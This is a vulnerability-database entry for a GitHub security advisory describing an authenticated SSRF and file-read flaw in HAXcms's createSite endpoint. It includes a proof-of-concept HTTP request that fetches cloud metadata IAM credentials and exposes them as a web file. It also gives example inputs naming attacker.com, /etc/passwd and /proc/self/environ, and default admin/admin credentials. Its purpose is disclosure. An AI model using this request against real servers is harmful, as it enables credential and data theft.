GHSA-Q862-GCGQ-5M6G
Vulnerability from github – Published: 2026-05-19 14:44 – Updated: 2026-06-09 11:56Summary
An authenticated Server-Side Request Forgery (SSRF) vulnerability in HAXcms allows users to fetch arbitrary internal or local resources and write the responses to a web-accessible directory, enabling arbitrary file read and internal network access.
Details
The createSite endpoint in HAXcms (v11.0.6) accepts a build.files parameter that allows an authenticated user to supply arbitrary URLs or local file paths. This input is processed without validation and ultimately fetched server-side using file_get_contents().
The data flow is as follows:
- User input (build.files) is processed via object_to_array() into a PHP array
- Assigned to $filesToDownload in Operations.php (line 2626)
- Iterated over in Operations.php (line 2730), where each entry is passed to HAXCMSFile::save() with bulk-import enabled
In HAXCMSFile.php (line 30), the following occurs:
file_get_contents($upload['tmp_name']);
Here, tmp_name is attacker-controlled and may contain:
- External URLs (
http://attacker.com) - Internal services (
http://127.0.0.1) - Cloud metadata endpoints (
http://169.254.169.254) - Local file paths (
/etc/passwd,/proc/self/environ)
The bulk-import flag bypasses is_uploaded_file() validation, which normally ensures the file originates from a legitimate upload. The only restriction is an extension whitelist based on the filename (array key), which is fully attacker-controlled.
There are no restrictions on:
- URL schemes (
http,file,gopher, etc.) - Destination IP ranges (internal, loopback, metadata services)
- Response content
All fetched content is written to:
sites/<sitename>/files/<filename>
and is accessible via the web.
PoC
Prerequisites:
- Authenticated session (default credentials:
admin/adminon fresh installs) - Valid JWT and CSRF token
Step 1: Log in and capture JWT + CSRF token
Step 2: Send crafted request:
POST /createSite HTTP/1.1
Host: target
Authorization: Bearer [JWT]
X-CSRF-Token: [TOKEN]
Content-Type: application/json
{
"site": {
"name": "poc"
},
"build": {
"files": {
"poc.txt": {
"tmp_name": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
}
}
}
}
Step 3: Retrieve response:
GET /sites/poc/files/poc.txt
The response will contain the fetched content (e.g., cloud credentials or internal service data).
Impact
- SSRF enabling access to internal network services
- Arbitrary file read via local filesystem paths
- Cloud credential exposure through metadata endpoints
- Data exfiltration via web-accessible file storage
Any authenticated user can exploit this to access sensitive server or infrastructure data, potentially leading to full system or cloud environment compromise.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 25.0.0"
},
"package": {
"ecosystem": "npm",
"name": "@haxtheweb/haxcms-nodejs"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "26.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-46393"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-19T14:44:20Z",
"nvd_published_at": "2026-06-05T19:16:33Z",
"severity": "HIGH"
},
"details": "### Summary \nAn authenticated Server-Side Request Forgery (SSRF) vulnerability in HAXcms allows users to fetch arbitrary internal or local resources and write the responses to a web-accessible directory, enabling arbitrary file read and internal network access.\n\n### Details \nThe `createSite` endpoint in HAXcms (v11.0.6) accepts a `build.files` parameter that allows an authenticated user to supply arbitrary URLs or local file paths. This input is processed without validation and ultimately fetched server-side using `file_get_contents()`.\n\nThe data flow is as follows:\n- User input (`build.files`) is processed via `object_to_array()` into a PHP array \n- Assigned to `$filesToDownload` in `Operations.php` (line 2626) \n- Iterated over in `Operations.php` (line 2730), where each entry is passed to `HAXCMSFile::save()` with bulk-import enabled \n\nIn `HAXCMSFile.php` (line 30), the following occurs:\n```php\nfile_get_contents($upload[\u0027tmp_name\u0027]);\n```\n\nHere, tmp_name is attacker-controlled and may contain:\n\n- External URLs (`http://attacker.com`)\n- Internal services (`http://127.0.0.1`)\n- Cloud metadata endpoints (`http://169.254.169.254`)\n- Local file paths (`/etc/passwd`, `/proc/self/environ`)\n\nThe bulk-import flag bypasses `is_uploaded_file()` validation, which normally ensures the file originates from a legitimate upload. The only restriction is an extension whitelist based on the filename (array key), which is fully attacker-controlled.\n\nThere are no restrictions on:\n\n- URL schemes (`http`, `file`, `gopher`, etc.)\n- Destination IP ranges (internal, loopback, metadata services)\n- Response content\n\nAll fetched content is written to:\n```\nsites/\u003csitename\u003e/files/\u003cfilename\u003e\n```\nand is accessible via the web.\n\n### PoC\nPrerequisites:\n\n- Authenticated session (default credentials: `admin/admin` on fresh installs)\n- Valid JWT and CSRF token\n\nStep 1: Log in and capture JWT + CSRF token\n\nStep 2: Send crafted request:\n```\nPOST /createSite HTTP/1.1\nHost: target\nAuthorization: Bearer [JWT]\nX-CSRF-Token: [TOKEN]\nContent-Type: application/json\n\n{\n \"site\": {\n \"name\": \"poc\"\n },\n \"build\": {\n \"files\": {\n \"poc.txt\": {\n \"tmp_name\": \"http://169.254.169.254/latest/meta-data/iam/security-credentials/\"\n }\n }\n }\n}\n```\n\nStep 3: Retrieve response:\n```\nGET /sites/poc/files/poc.txt\n```\n\nThe response will contain the fetched content (e.g., cloud credentials or internal service data).\n\n### Impact\n\n- SSRF enabling access to internal network services\n- Arbitrary file read via local filesystem paths\n- Cloud credential exposure through metadata endpoints\n- Data exfiltration via web-accessible file storage\n\nAny authenticated user can exploit this to access sensitive server or infrastructure data, potentially leading to full system or cloud environment compromise.",
"id": "GHSA-q862-gcgq-5m6g",
"modified": "2026-06-09T11:56:33Z",
"published": "2026-05-19T14:44:20Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/haxtheweb/issues/security/advisories/GHSA-q862-gcgq-5m6g"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-46393"
},
{
"type": "PACKAGE",
"url": "https://github.com/haxtheweb/issues"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "HAXcms createSite SSRF Enables Arbitrary File Read"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.